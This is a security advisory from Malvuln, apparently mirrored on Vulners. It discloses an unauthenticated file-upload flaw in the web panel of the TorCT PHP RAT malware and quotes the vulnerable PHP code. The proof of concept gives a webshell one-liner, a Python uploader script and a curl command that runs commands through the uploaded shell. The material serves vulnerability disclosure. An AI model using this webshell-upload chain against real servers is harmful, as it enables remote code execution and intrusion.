Lucene search
K

BuilderTorCTPHPRAT.b Shell Upload

🗓️ 17 Mar 2022 00:00:00Reported by malvuln, malvuln.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 418 Views

The TorCT web-panel allows unauthenticated arbitrary file uploads leading to RCE through malicious PHP webshell

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: BuilderTorCTPHPRAT.b  
Vulnerability: Arbitrary File Upload - RCE  
Family: TorCTPHPRAT  
Type: WebUI  
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)  
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)  
Vuln ID: MVID-2022-0519  
Disclosure: 03/17/2022  
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.  
  
"upload.php" vulnerable code:  
  
$DelOrNot = $_GET['D'];  
  
if ($DelOrNot == "true")  
{  
  
unlink('Upload/1.png');  
unlink('Upload/2.png');  
}else{  
  
$uploadDir = 'Upload/';   
$uploadFile = $uploadDir . basename($_FILES['file']['name']);  
if (is_uploaded_file($_FILES['file']['tmp_name']))   
{  
echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";  
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))   
{  
echo "File is successfully stored! ";  
}  
else print_r($_FILES);  
}  
else   
{  
echo "Upload Failed!";  
print_r($_FILES);  
}  
}  
  
  
Exploit/PoC:  
1) Create PHP webshell "pwn.php", exec($_GET['cmd']);  
  
2) Create Python uploader "torct_webshell.py"  
import requests  
  
url="http://TORCT_PHP_RAT_SERVER/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload.php"  
  
files = {'file': open('pwn.php', 'rb')}  
r = requests.post(url, files=files)  
if r.status_code==200:  
print(r.status_code)  
print("TorCTPHPRAT PWNED!")  
  
3) Exploit  
curl "http://127.0.0.1/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload/pwn.php?cmd=calc.exe"  
  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Mar 2022 00:00Current
7.4High risk
Vulners AI Score7.4
418